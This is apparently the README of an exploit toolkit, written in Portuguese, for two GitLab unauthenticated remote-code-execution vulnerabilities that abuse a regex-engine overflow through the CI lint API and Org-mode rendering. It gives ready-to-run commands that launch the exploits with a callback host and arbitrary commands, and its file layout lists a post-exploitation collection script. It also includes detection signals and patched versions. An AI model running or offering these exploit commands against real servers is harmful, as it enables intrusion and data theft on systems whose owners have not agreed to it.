Toolkit de Exploração RCE do GitLab Onigmo

CVE-2026-97229 + CVE-2026-110264 — Duas vulnerabilidades críticas (CVSS 10.0) de RCE não autenticado no GitLab CE/EE por meio de estouro de inteiro no motor de regex Onigmo.

Apenas para testes autorizados. Cada alvo deve ser seu ou estar coberto por autorização por escrito.

Vulnerabilidades

CVE	Vetor	Afetados	Gatilho	Autenticação Necessária
CVE-2026-97229	Compilador de regex de CI/CD	19.2.0–19.4.1	GET /api/v4/projects/:id/ci/lint	Gatilho não autenticado (acesso de escrita para configuração)
CVE-2026-110264	Renderização de .org do Org-mode	7.0–19.5.0	Renderizar um arquivo .org manipulado	Nenhuma conta necessária

Arquitetura

Ambas as CVEs exploram a mesma causa raiz: estouro de inteiro no motor de regex Onigmo → escrita fora dos limites (OOB) → sequestro de VM → system(). A diferença está no caminho de entrega:

• CVE-2026-97229: Regex maliciosa em rules:exists:regexp do .gitlab-ci.yml → API de lint de CI
• CVE-2026-110264: Palavra-chave #+TODO: maliciosa em arquivo .org → renderizador do Org-mode

Início Rápido

# CVE-2026-97229 — CI lint path
python3 exploit/cve97229.py --url http://target:8080 \
    --token glpat-xxx --callback-host YOUR_IP \
    --command 'id; hostname' --authorized --scope scope.txt

# CVE-2026-110264 — Org-mode path (no auth needed!)
python3 exploit/cve110264.py --url http://target:8080 \
    --callback-host YOUR_IP --command 'id'

# Probe only (no exploitation)
python3 exploit/cve97229.py --url http://target --probe-only
python3 exploit/cve110264.py --url http://target --probe-only

Estrutura do Projeto

exploit/
├── cve97229.py       # CI lint regex RCE (CVE-2026-97229)
├── cve110264.py      # Org-mode render RCE (CVE-2026-110264)
├── layout.py         # libruby.so offset derivation
├── common.py         # shared Onigmo payload + callback server
└── post/
    └── collect.sh    # post-exploitation collection
lab/
├── run.sh            # Docker lab launcher
└── stop.sh           # Lab cleanup
docs/
├── CVE-2026-97229.md # Technical analysis
└── CVE-2026-110264.md # Technical analysis

Detecção

Sinal triplo para ambas as CVEs:

1. Travamento do worker Puma: [BUG] Segmentation fault com frames de org-ruby ou regexp_matcher.rb
2. Workhorse 502: badgateway: failed to receive response: EOF
3. Conteúdo do Git: quantificadores divididos (?#), repetições [[:word:]], caminhos UTF-8 de 4 bytes

Versões Corrigidas

CVE	Corrigida
CVE-2026-97229	19.2.8, 19.3.5, 19.4.2
CVE-2026-110264	18.11.13, 19.0.10, 19.1.9, 19.2.9, 19.3.6, 19.4.3, 19.5.1

Créditos

• joaxcar — descoberta original da CVE-2026-97229 (HackerOne)
• Rapid7 (Jonah Burgess) — análise técnica e PoC independente da CVE-2026-97229
• gandli — referência do framework de laboratório da CVE-2026-97229
• GitLab Security — regras de detecção e aviso
• Técnica de exploração da CVE-2026-110264 derivada das notas de detecção publicadas pelo GitLab

Licença

MIT — apenas para testes de segurança autorizados.